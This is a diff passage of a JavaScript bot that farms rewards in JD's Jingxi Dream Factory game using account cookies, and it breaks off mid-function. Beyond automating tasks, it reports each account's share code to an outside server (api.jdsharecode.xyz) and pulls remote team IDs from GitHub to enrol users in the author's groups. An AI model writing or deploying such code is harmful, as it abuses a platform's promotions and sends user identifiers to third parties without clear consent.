investElectric() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/InvestElectric?zone=dream_factory&productionId=${$.productionId}&sceneval=2&g_login_type=1`; + $.get(taskurl('userinfo/InvestElectric', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`成功投入电力${data.data.investElectric}电力`); + message += `【投入电力】投入成功,共计 ${data.data.investElectric} 电力\n`; + } else { + console.log(`投入失败,${data.msg}`); + message += `【投入电力】投入失败,${data.msg}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务 +function taskList() { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/GetUserTaskStatusList?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('GetUserTaskStatusList', '', `_time,bizCode,source`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userTaskStatusList = data['data']['userTaskStatusList']; + for (let i = 0; i < userTaskStatusList.length; i++) { + const vo = userTaskStatusList[i]; + if (vo['awardStatus'] !== 1) { + if (vo.completedTimes >= vo.targetTimes) { + console.log(`任务:${vo.description}可完成`) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } else { + switch (vo.taskType) { + case 2: // 逛一逛任务 + case 6: // 浏览商品任务 + case 9: // 开宝箱 + for (let i = vo.completedTimes; i <= vo.configTargetTimes; ++i) { + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } + break + case 4: // 招工 + break + case 5: + // 收集类 + break + case 1: // 登陆领奖 + default: + break + } + } + } + } + console.log(`完成任务:共领取${$.ele}电力`) + message += `【每日任务】领奖成功,共计 ${$.ele} 电力\n`; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 获得用户电力情况 +function getUserElectricity() { + return new Promise(async resolve => { + // const url = `/dreamfactory/generator/QueryCurrentElectricityQuantity?zone=dream_factory&factoryid=${$.factoryId}&sceneval=2&g_login_type=1` + $.get(taskurl(`generator/QueryCurrentElectricityQuantity`, `factoryid=${$.factoryId}`, `_time,factoryid,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`发电机:当前 ${data.data.currentElectricityQuantity} 电力,最大值 ${data.data.maxElectricityQuantity} 电力`) + if (data.data.currentElectricityQuantity < data.data.maxElectricityQuantity) { + $.log(`\n本次发电机电力集满分享后${data.data.nextCollectDoubleFlag === 1 ? '可' : '不可'}获得双倍电力,${data.data.nextCollectDoubleFlag === 1 ? '故目前不收取电力' : '故现在收取电力'}\n`) + } + if (data.data.nextCollectDoubleFlag === 1) { + if (data.data.currentElectricityQuantity === data.data.maxElectricityQuantity && data.data.doubleElectricityFlag) { + console.log(`发电机:电力可翻倍并收获`) + // await shareReport(); + await collectElectricity() + } else { + message += `【发电机电力】当前 ${data.data.currentElectricityQuantity} 电力,未达到收获标准\n` + } + } else { + //再收取双倍电力达到上限时,直接收取,不再等到满级 + await collectElectricity() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//查询有多少的招工电力可收取 +function QueryHireReward() { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/QueryHireReward', ``, `_time,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + for (let item of data['data']['hireReward']) { + if (item.date !== new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).Format("yyyyMMdd")) { + await hireAward(item.date, item.type); + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 收取招工/劳模电力 +function hireAward(date, type = 0) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/HireAward', `date=${date}&type=${type}`, '_time,date,type,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`打工电力:收取成功`) + message += `【打工电力】:收取成功\n` + } else { + console.log(`打工电力:收取失败,${data.msg}`) + message += `【打工电力】收取失败,${data.msg}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function helpFriends() { + let Hours = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).getHours(); + if (Hours < 6) { + console.log(`\n未到招工时间(每日6-24点之间可招工)\n`) + return + } + if ($.canHelpFlag) { + await shareCodesFormat(); + for (let code of $.newShareCodes) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} + +// 帮助用户,此处UA不可更换,否则助力功能会失效 +function assistFriend(sharepin) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1` + // const options = { + // 'url': `https://m.jingxi.com/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1`, + // 'headers': { + // "Accept": "*/*", + // "Accept-Encoding": "gzip, deflate, br", + // "Accept-Language": "zh-cn", + // "Connection": "keep-alive", + // "Cookie": cookie, + // "Host": "m.jingxi.com", + // "Referer": "https://st.jingxi.com/pingou/dream_factory/index.html", + // "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" + // } + // } + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // console.log(`助力朋友:${sharepin}成功`) + // } else { + // console.log(`助力朋友[${sharepin}]失败:${data.msg}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询助力招工情况 +function QueryFriendList() { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFriendList', ``, `_time,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const {assistListToday = [], assistNumMax, hireListToday = [], hireNumMax} = data; + console.log(`\n\n你今日还能帮好友打工(${assistNumMax - assistListToday.length || 0}/${assistNumMax})次\n\n`); + if (assistListToday.length === assistNumMax) { + $.canHelpFlag = false; + } + $.log(`【今日招工进度】${hireListToday.length}/${hireNumMax}`); + message += `【招工进度】${hireListToday.length}/${hireNumMax}\n`; + } else { + console.log(`QueryFriendList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 任务领奖 +function completeTask(taskId, taskName) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/Award?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('Award', taskId, `_time,bizCode,source,taskId`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (data['data']['awardStatus']) { + case 1: + $.ele += Number(data['data']['prizeInfo'].replace('\\n', '')) + console.log(`领取${taskName}任务奖励成功,收获:${Number(data['data']['prizeInfo'].replace('\\n', ''))}电力`); + break + case 1013: + case 0: + console.log(`领取${taskName}任务奖励失败,任务已领奖`); + break + default: + console.log(`领取${taskName}任务奖励失败,${data['msg']}`) + break + } + // if (data['ret'] === 0) { + // console.log("做任务完成!") + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 完成任务 +function doTask(taskId) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/DoTask?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('DoTask', taskId, '_time,bizCode,configExtra,source,taskId'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log("做任务完成!") + } else { + console.log(`DoTask异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + $.nickName = data.user.nickname || $.UserName; // 昵称或pin码 + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId;//工厂ID + $.productionId = production.productionId;//商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + for (let k = 0; k < 5; k++) { + try { + await runTimes() + console.log('ok') + break + } catch (e) { + } + await $.wait(Math.floor(Math.random() * 10 + 3) * 1000) + } + + await GetCommodityDetails();//获取已选购的商品信息 + if (productionStage['productionStageAwardStatus'] === 1) { + $.log(`可以开红包了\n`); + await DrawProductionStagePrize();//领取红包 + } else { + $.log(`再加${productionStage['productionStageProgress']}电力可开红包\n`) + } + console.log(`当前电力:${data.user.electric}`) + console.log(`当前等级:${data.user.currentLevel}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`); + console.log(`已投入电力:${production.investedElectric}`); + console.log(`所需电力:${production.needElectric}`); + console.log(`生产进度:${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%`); + message += `【京东账号${$.index}】${$.nickName}\n` + message += `【生产商品】${$.productName}\n`; + message += `【当前等级】${data.user.userIdentity} ${data.user.currentLevel}\n`; + message += `【生产进度】${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%\n`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) $.log(`\n\n可以兑换商品了`) + if (production['exchangeStatus'] === 3) { + $.log(`\n\n商品兑换已超时`) + if (new Date().getHours() === 9) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`) + if (`${notifyLevel}` === '3' || `${notifyLevel}` === '2') allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } + } else { + console.log(`\n\n预计最快还需 【${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(2)}天】生产完毕\n\n`) + } + if (production.status === 3) { + $.log(`\n\n商品生产已失效`) + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造`) + if ($.isNode() && (`${notifyLevel}` === '3' || `${notifyLevel}` === '2')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + } else if (data.factoryList && !data.productionList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + if (nowTimes.getHours() === 12) { + //如按每小时运行一次,则此处将一天12点推送1次提醒 + $.msg($.name, '提醒⏰', `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`); + if ($.isNode() && `${notifyLevel}` === '3') allMessage += `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function runTimes() { + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=jxfactory&sharecode=${$.encryptPin}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + if (data === '1' || data === '0') { + console.log('上报成功') + resolve() + } + } + }) + }) +} + +//查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(taskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.productName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 查询已完成商品 +function GetShelvesList(pageNo = 1) { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetShelvesList', `pageNo=${pageNo}&pageSize=12`, `_time,pageNo,pageSize,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const {shelvesList} = data; + if (shelvesList) { + $.shelvesList = [...$.shelvesList, ...shelvesList]; + pageNo++ + GetShelvesList(pageNo); + } + } else { + console.log(`GetShelvesList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//领取红包 +function DrawProductionStagePrize() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/DrawProductionStagePrize?zone=dream_factory&sceneval=2&g_login_type=1&productionId=${$.productionId}`; + $.get(taskurl('userinfo/DrawProductionStagePrize', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`开幸运红包:${data}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function PickUp(encryptPin = $.encryptPin, help = false) { + $.pickUpMyselfComponent = true; + const GetUserComponentRes = await GetUserComponent(encryptPin, 1500); + if (GetUserComponentRes && GetUserComponentRes['ret'] === 0 && GetUserComponentRes['data']) { + const {componentList} = GetUserComponentRes['data']; + if (componentList && componentList.length <= 0) { + if (help) { + $.log(`好友【${encryptPin}】地下暂无零件可收\n`) + } else { + $.log(`自家地下暂无零件可收\n`) + } + $.pickUpMyselfComponent = false; + } + for (let item of componentList) { + await $.wait(1000); + const PickUpComponentRes = await PickUpComponent(item['placeId'], encryptPin); + if (PickUpComponentRes) { + if (PickUpComponentRes['ret'] === 0) { + const data = PickUpComponentRes['data']; + if (help) { + console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + $.pickFriendEle += data['increaseElectric']; + } else { + console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + $.pickEle += data['increaseElectric']; + } + } else { + if (help) { + console.log(`收好友[${encryptPin}]零件失败:${PickUpComponentRes.msg},直接跳出\n`) + } else { + console.log(`收自己地下零件失败:${PickUpComponentRes.msg},直接跳出\n`); + $.pickUpMyselfComponent = false; + } + break + } + } + } + } +} + +function GetUserComponent(pin = $.encryptPin, timeout = 0) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskurl('usermaterial/GetUserComponent', `pin=${pin}`, `_time,pin,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + + } else { + console.log(`GetUserComponent失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }, timeout) + }) +} + +//收取地下随机零件电力API + +function PickUpComponent(index, encryptPin) { + return new Promise(resolve => { + $.get(taskurl('usermaterial/PickUpComponent', `placeId=${index}&pin=${encryptPin}`, `_time,pin,placeId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // data = data['data']; + // if (help) { + // console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickFriendEle += data['increaseElectric']; + // } else { + // console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickEle += data['increaseElectric']; + // } + // } else { + // if (help) { + // console.log(`收好友[${encryptPin}]零件失败:${JSON.stringify(data)}`) + // } else { + // console.log(`收零件失败:${JSON.stringify(data)}`) + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//偷好友的电力 +async function stealFriend() { + // if (!$.pickUpMyselfComponent) { + // $.log(`今日收取零件已达上限,偷好友零件也达到上限,故跳出`) + // return + // } + //调整,只在每日1点,12点,19点尝试收取好友零件 + if (new Date().getHours() !== 1 && new Date().getHours() !== 12 && new Date().getHours() !== 19) return + await getFriendList(); + $.friendList = [...new Set($.friendList)].filter(vo => !!vo && vo['newFlag'] !== 1); + console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + for (let i = 0; i < $.friendList.length; i++) { + let pin = $.friendList[i]['encryptPin'];//好友的encryptPin + console.log(`\n开始收取第 ${i + 1} 个好友 【${$.friendList[i]['nickName']}】 地下零件 collectFlag:${$.friendList[i]['collectFlag']}`) + await PickUp(pin, true); + // await getFactoryIdByPin(pin);//获取好友工厂ID + // if ($.stealFactoryId) await collectElectricity($.stealFactoryId,true, pin); + } +} + +function getFriendList(sort = 0) { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFactoryManagerList', `sort=${sort}`, `_time,sort,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + if (data.list && data.list.length <= 0) { + // console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + return + } + let friendsEncryptPins = []; + for (let item of data.list) { + friendsEncryptPins.push(item); + } + $.friendList = [...$.friendList, ...friendsEncryptPins]; + // if (!$.isNode()) return + await getFriendList(data.sort); + } else { + console.log(`QueryFactoryManagerList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getFactoryIdByPin(pin) { + return new Promise((resolve, reject) => { + $.get(taskurl('userinfo/GetUserInfoByPin', `pin=${pin}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (data.data.factoryList) { + $.stealFactoryId = data['data']['factoryList'][0]['factoryId']; + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function tuanActivity() { + const tuanConfig = await QueryActiveConfig(); + if (tuanConfig && tuanConfig.ret === 0) { + const {activeId, surplusOpenTuanNum, tuanId} = tuanConfig['data']['userTuanInfo']; + console.log(`今日剩余开团次数:${surplusOpenTuanNum}次`); + $.surplusOpenTuanNum = surplusOpenTuanNum; + if (!tuanId && surplusOpenTuanNum > 0) { + //开团 + $.log(`准备开团`) + await CreateTuan(); + } else if (tuanId) { + //查询词团信息 + const QueryTuanRes = await QueryTuan(activeId, tuanId); + if (QueryTuanRes && QueryTuanRes.ret === 0) { + const {tuanInfo} = QueryTuanRes.data; + if ((tuanInfo && tuanInfo[0]['endTime']) <= QueryTuanRes['nowTime'] && surplusOpenTuanNum > 0) { + $.log(`之前的团已过期,准备重新开团\n`) + await CreateTuan(); + return + } + for (let item of tuanInfo) { + const {realTuanNum, tuanNum, userInfo} = item; + $.tuanNum = tuanNum || 0; + $.log(`\n开团情况:${realTuanNum}/${tuanNum}\n`); + if (realTuanNum === tuanNum) { + for (let user of userInfo) { + if (user.encryptPin === $.encryptPin) { + if (user.receiveElectric && user.receiveElectric > 0) { + console.log(`您在${new Date(user.joinTime * 1000).toLocaleString()}开团奖励已经领取成功\n`) + if ($.surplusOpenTuanNum > 0) await CreateTuan(); + } else { + $.log(`开始领取开团奖励`); + await tuanAward(item.tuanActiveId, item.tuanId);//isTuanLeader + } + } + } + } else { + $.tuanIds.push(tuanId); + $.log(`\n此团未达领取团奖励人数:${tuanNum}人\n`) + } + } + } + } + } +} + +async function joinLeaderTuan() { + let res = await updateTuanIdsCDN() + let res2 = await updateTuanIdsCDN("https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/utils/empty.json") + if (!res) res = await updateTuanIdsCDN('https://raw.githubusercontent.com/JDHelloWorld/jd_scripts/main/utils/empty.json'); + $.authorTuanIds = [...(res && res.tuanIds || []), ...(res2 && res2.tuanIds || [])] + if ($.authorTuanIds && $.authorTuanIds.length) { + for (let tuanId of $.authorTuanIds) { + if (!tuanId) continue + if (!$.canHelp) break; + console.log(`\n账号${$.UserName} 参加作者的团 【${tuanId}】`); + await JoinTuan(tuanId); + await $.wait(1000); + } + } +} + +//可获取开团后的团ID,如果团ID为空并且surplusOpenTuanNum>0,则可继续开团 +//如果团ID不为空,则查询QueryTuan() +function QueryActiveConfig() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=`; + const options = taskTuanUrl(`QueryActiveConfig`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const {userTuanInfo} = data['data']; + console.log(`\n团活动ID ${userTuanInfo.activeId}`); + console.log(`团ID ${userTuanInfo.tuanId}\n`); + } else { + console.log(`QueryActiveConfig异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function QueryTuan(activeId, tuanId) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`QueryTuan`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + // $.log(`\n开团情况:${data.data.tuanInfo.realTuanNum}/${data.data.tuanInfo.tuanNum}\n`) + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//开团API +function CreateTuan() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&isOpenApp=1` + const options = taskTuanUrl(`CreateTuan`, body, '_time,activeId,isOpenApp') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`【开团成功】tuanId为 ${data.data['tuanId']}`); + $.tuanIds.push(data.data['tuanId']); + } else { + //{"msg":"活动已结束,请稍后再试~","nowTime":1621551005,"ret":10218} + if (data['ret'] === 10218 && !hasSend && (new Date().getHours() % 6 === 0)) { + hasSend = true; + $.msg($.name, '', `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`); + if ($.isNode()) await notify.sendNotify($.name, `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`) + } + console.log(`开团异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function JoinTuan(tuanId, stk = '_time,activeId,tuanId') { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`JoinTuan`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`参团成功:${JSON.stringify(data)}\n`); + } else if (data['ret'] === 10005 || data['ret'] === 10206) { + //火爆,或者今日参团机会已耗尽 + console.log(`参团失败:${JSON.stringify(data)}\n`); + $.canHelp = false; + } else { + console.log(`参团失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//查询所有的团情况(自己开团以及参加别人的团) +function QueryAllTuan() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&pageNo=1&pageSize=10`; + const options = taskTuanUrl(`QueryAllTuan`, body, '_time,activeId,pageNo,pageSize') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const {tuanInfo} = data; + for (let item of tuanInfo) { + if (item.tuanNum === item.realTuanNum) { + // console.log(`参加团主【${item.tuanLeader}】已成功`) + const {userInfo} = item; + for (let item2 of userInfo) { + if (item2.encryptPin === $.encryptPin) { + if (item2.receiveElectric && item2.receiveElectric > 0) { + console.log(`${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励已经领取成功`) + } else { + console.log(`开始领取${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励`) + await tuanAward(item.tuanActiveId, item.tuanId, item.tuanLeader === $.encryptPin);//isTuanLeader + } + } + } + } else { + console.log(`${new Date(item.beginTime * 1000).toLocaleString()}参加团主【${item.tuanLeader}】失败`) + } + } + } else { + console.log(`QueryAllTuan异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//开团人的领取奖励API +function tuanAward(activeId, tuanId, isTuanLeader = true) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`Award`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + 